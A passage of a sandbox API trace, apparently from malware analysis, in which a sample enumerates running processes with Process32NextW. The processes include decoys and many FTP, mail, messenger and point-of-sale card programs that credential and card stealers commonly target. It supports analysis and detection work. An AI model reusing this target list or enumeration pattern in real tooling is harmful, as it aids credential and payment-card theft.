Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cj_antenna_alone.exe")) returned 1 [0061.607] lstrlenW (lpString="cj_antenna_alone.exe") returned 20 [0061.607] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dryer-pocket.exe")) returned 1 [0061.608] lstrlenW (lpString="dryer-pocket.exe") returned 16 [0061.608] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="delete disable changing.exe")) returned 1 [0061.608] lstrlenW (lpString="delete disable changing.exe") returned 27 [0061.608] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sitemap instructors tide.exe")) returned 1 [0061.609] lstrlenW (lpString="sitemap instructors tide.exe") returned 28 [0061.609] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="underwear.exe")) returned 1 [0061.609] lstrlenW (lpString="underwear.exe") returned 13 [0061.609] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear-hearings.exe")) returned 1 [0061.610] lstrlenW (lpString="dear-hearings.exe") returned 17 [0061.610] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0061.610] lstrlenW (lpString="dllhost.exe") returned 11 [0061.611] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="risks_lows_nickel.exe")) returned 1 [0061.611] lstrlenW (lpString="risks_lows_nickel.exe") returned 21 [0061.611] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physiologyconfirmedthursday.exe")) returned 1 [0061.611] lstrlenW (lpString="physiologyconfirmedthursday.exe") returned 31 [0061.612] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="testimonials counsel.exe")) returned 1 [0061.612] lstrlenW (lpString="testimonials counsel.exe") returned 24 [0061.612] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="retrievedsocietyuniv.exe")) returned 1 [0061.613] lstrlenW (lpString="retrievedsocietyuniv.exe") returned 24 [0061.613] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boss alternatives plots.exe")) returned 1 [0061.613] lstrlenW (lpString="boss alternatives plots.exe") returned 27 [0061.613] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="towers world.exe")) returned 1 [0061.614] lstrlenW (lpString="towers world.exe") returned 16 [0061.614] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coaching indian.exe")) returned 1 [0061.614] lstrlenW (lpString="coaching indian.exe") returned 19 [0061.614] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="goal assumed.exe")) returned 1 [0061.615] lstrlenW (lpString="goal assumed.exe") returned 16 [0061.615] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0061.616] lstrlenW (lpString="3dftp.exe") returned 9 [0061.616] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0061.617] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0061.617] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0061.618] lstrlenW (lpString="alftp.exe") returned 9 [0061.618] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0061.718] lstrlenW (lpString="barca.exe") returned 9 [0061.718] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0061.719] lstrlenW (lpString="bitkinex.exe") returned 12 [0061.719] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0061.720] lstrlenW (lpString="coreftp.exe") returned 11 [0061.720] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0061.721] lstrlenW (lpString="far.exe") returned 7 [0061.721] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0061.722] lstrlenW (lpString="filezilla.exe") returned 13 [0061.722] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0061.723] lstrlenW (lpString="flashfxp.exe") returned 12 [0061.723] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0061.724] lstrlenW (lpString="fling.exe") returned 9 [0061.724] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0061.724] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0061.724] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0061.725] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0061.725] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0061.726] lstrlenW (lpString="icq.exe") returned 7 [0061.726] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0061.727] lstrlenW (lpString="leechftp.exe") returned 12 [0061.727] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0061.728] lstrlenW (lpString="ncftp.exe") returned 9 [0061.728] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0061.729] lstrlenW (lpString="notepad.exe") returned 11 [0061.729] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0061.730] lstrlenW (lpString="operamail.exe") returned 13 [0061.730] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0061.731] lstrlenW (lpString="pidgin.exe") returned 10 [0061.731] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0061.731] lstrlenW (lpString="scriptftp.exe") returned 13 [0061.732] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0061.732] lstrlenW (lpString="skype.exe") returned 9 [0061.732] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0061.733] lstrlenW (lpString="smartftp.exe") returned 12 [0061.733] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0061.734] lstrlenW (lpString="thunderbird.exe") returned 15 [0061.734] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0061.735] lstrlenW (lpString="totalcmd.exe") returned 12 [0061.735] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0061.736] lstrlenW (lpString="trillian.exe") returned 12 [0061.736] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0061.736] lstrlenW (lpString="webdrive.exe") returned 12 [0061.737] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0061.737] lstrlenW (lpString="whatsapp.exe") returned 12 [0061.737] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0061.738] lstrlenW (lpString="winscp.exe") returned 10 [0061.738] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0061.739] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0061.739] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0061.742] lstrlenW (lpString="active-charge.exe") returned 17 [0061.742] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0061.744] lstrlenW (lpString="accupos.exe") returned 11 [0061.744] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0061.745] lstrlenW (lpString="afr38.exe") returned 9 [0061.745] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0061.746] lstrlenW (lpString="aldelo.exe") returned 10 [0061.746] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0061.747] lstrlenW (lpString="ccv_server.exe") returned 14 [0061.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0061.747] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0061.747] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0061.748] lstrlenW (lpString="creditservice.exe") returned 17 [0061.748] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0061.749] lstrlenW (lpString="edcsvr.exe") returned 10 [0061.749] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0061.750] lstrlenW (lpString="fpos.exe") returned 8 [0061.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0061.750] lstrlenW (lpString="isspos.exe") returned 10 [0061.750] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0061.751] lstrlenW (lpString="mxslipstream.exe") returned 16 [0061.751] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0061.752] lstrlenW (lpString="omnipos.exe") returned 11 [0061.752] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0061.752] lstrlenW (lpString="spcwin.exe") returned 10 [0061.753] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0061.753] lstrlenW (lpString="spgagentservice.exe") returned 19 [0061.753] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0061.754] lstrlenW (lpString="utg2.exe") returned 8 [0061.754] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0061.755] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0061.755] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0061.755] lstrlenW (lpString="glow be.exe") returned 11 [0061.755] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0061.756] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0061.756] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0061.757] lstrlenW (lpString="contains roles was.exe") returned 22 [0061.757] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.757] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.757] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0061.758] lstrlenW (lpString="taskhostw.exe") returned 13 [0061.758] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0061.908] lstrlenW (lpString="taskhostw.exe") returned 13 [0061.908] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0061.918] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0061.918] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0061.919] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0061.919] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1 [0061.919] lstrlenW (lpString="sc.exe") returned 6 [0061.920] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0061.920] lstrlenW (lpString="UsoClient.exe") returned 13 [0061.920] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, 